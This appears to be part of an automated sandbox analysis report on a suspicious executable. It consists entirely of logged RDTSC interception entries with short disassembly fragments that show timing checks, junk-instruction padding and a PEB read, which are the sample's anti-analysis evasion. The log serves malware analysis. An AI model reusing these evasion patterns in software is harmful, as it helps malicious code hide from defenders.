Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B134 second address: 141B13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B280 second address: 141B28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDF08CE3B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B28A second address: 141B2A5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDF09105E36h 0x00000008 jmp 00007FDF09105E41h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B2A5 second address: 141B2AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B2AB second address: 141B2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B413 second address: 141B418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B418 second address: 141B431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF09105E43h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B431 second address: 141B445 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jng 00007FDF08CE3B96h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B5F8 second address: 141B60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FDF09105E36h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FDF09105E36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141BB87 second address: 141BB95 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141BB95 second address: 141BB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1429079 second address: 142907D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14270EC second address: 14270F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14270F2 second address: 14270F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14270F8 second address: 1427141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007FDF09105E46h 0x0000000f jbe 00007FDF09105E36h 0x00000015 jmp 00007FDF09105E3Bh 0x0000001a jc 00007FDF09105E36h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDF09105E3Fh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 142728D second address: 14272AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDF08CE3BA4h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 142758C second address: 14275AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FDF09105E42h 0x0000000f jns 00007FDF09105E36h 0x00000015 jnc 00007FDF09105E36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14275AD second address: 14275B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1427A0F second address: 1427A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1427B6C second address: 1427B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007FDF08CE3B9Ah 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1427B80 second address: 1427B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1427B86 second address: 1427BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDF08CE3BA6h 0x0000000f js 00007FDF08CE3B96h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1427BAC second address: 1427BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Ch 0x00000007 jmp 00007FDF09105E44h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1427BD0 second address: 1427BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF08CE3BA4h 0x00000009 jmp 00007FDF08CE3B9Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1427D2D second address: 1427D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDF09105E36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1428014 second address: 1428018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1428EE2 second address: 1428EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1428EE6 second address: 1428EEC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1426C41 second address: 1426C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FDF09105E41h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FDF09105E3Ah 0x00000012 jmp 00007FDF09105E3Ah 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1426C73 second address: 1426C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1426C77 second address: 1426C7D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 143A415 second address: 143A41F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDF08CE3B9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 143A5B2 second address: 143A5BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 143A5BA second address: 143A5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 143A5BE second address: 143A5CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FDF09105E36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 143A5CC second address: 143A5E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007FDF08CE3B96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 jc 00007FDF08CE3B9Eh 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 144E57D second address: 144E581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 144E581 second address: 144E585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14505E2 second address: 1450613 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDF09105E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007FDF09105E3Eh 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push edx 0x0000001a pop edx 0x0000001b jmp 00007FDF09105E3Bh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1450613 second address: 145061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 145061B second address: 1450621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1457F5B second address: 1457F71 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDF08CE3B9Fh 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14580E8 second address: 14580EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14580EE second address: 14580F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14580F2 second address: 1458112 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDF09105E3Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDF09105E3Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1458112 second address: 145812F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF08CE3BA8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1458252 second address: 1458258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1458258 second address: 145825C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 145825C second address: 1458260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1458260 second address: 14582A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDF08CE3B96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FDF08CE3BA7h 0x00000014 push eax 0x00000015 pop eax 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007FDF08CE3BA3h 0x0000001d popad 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14591FC second address: 1459217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007FDF09105E42h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 145E402 second address: 145E406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 145FCC6 second address: 145FCD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FDF09105E36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 145FCD9 second address: 145FCDF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 145FCDF second address: 145FCEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 145FCEB second address: 145FCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1496C00 second address: 1496C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1496C06 second address: 1496C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1496C0A second address: 1496C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1496C0E second address: 1496C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1496C16 second address: 1496C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FDF09105E3Bh 0x0000000f push esi 0x00000010 je 00007FDF09105E36h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1496C43 second address: 1496C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FDF08CE3B96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jnl 00007FDF08CE3B96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1496C59 second address: 1496C5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14ADF16 second address: 14ADF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14ADF1A second address: 14ADF2E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FDF09105E3Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14ADF2E second address: 14ADF34 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 15751C5 second address: 15751DD instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDF09105E3Eh 0x00000008 jnc 00007FDF09105E46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1575521 second address: 1575527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1575638 second address: 157563E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 15757D8 second address: 15757F0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDF08CE3B96h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007FDF08CE3B9Ch 0x00000012 je 00007FDF08CE3B96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 15757F0 second address: 15757F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 15757F8 second address: 15757FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1575F07 second address: 1575F20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1577A06 second address: 1577A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jmp 00007FDF08CE3B9Ch 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 157AAC1 second address: 157AACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 157AACC second address: 157AAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 157AAD1 second address: 157AADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FDF09105E36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789002A second address: 7890070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 248652AAh 0x00000008 pushfd 0x00000009 jmp 00007FDF08CE3B9Bh 0x0000000e xor ecx, 5EC0774Eh 0x00000014 jmp 00007FDF08CE3BA9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDF08CE3B9Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890070 second address: 789009E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDF09105E46h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789009E second address: 78900A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78900A2 second address: 78900A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78900A8 second address: 78900E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF08CE3BA2h 0x00000009 sub eax, 3CCDB088h 0x0000000f jmp 00007FDF08CE3B9Bh 0x00000014 popfd 0x00000015 movzx eax, dx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr fs:[00000030h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78900E2 second address: 78900E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78900E6 second address: 78900EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78900EC second address: 78900F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78900F2 second address: 78900F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78900F6 second address: 789011F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDF09105E3Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789011F second address: 7890125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890125 second address: 7890129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890129 second address: 789014B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, 2Ah 0x00000011 push ecx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789014B second address: 7890151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890151 second address: 789016F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDF08CE3B9Eh 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789016F second address: 7890173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890173 second address: 7890179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
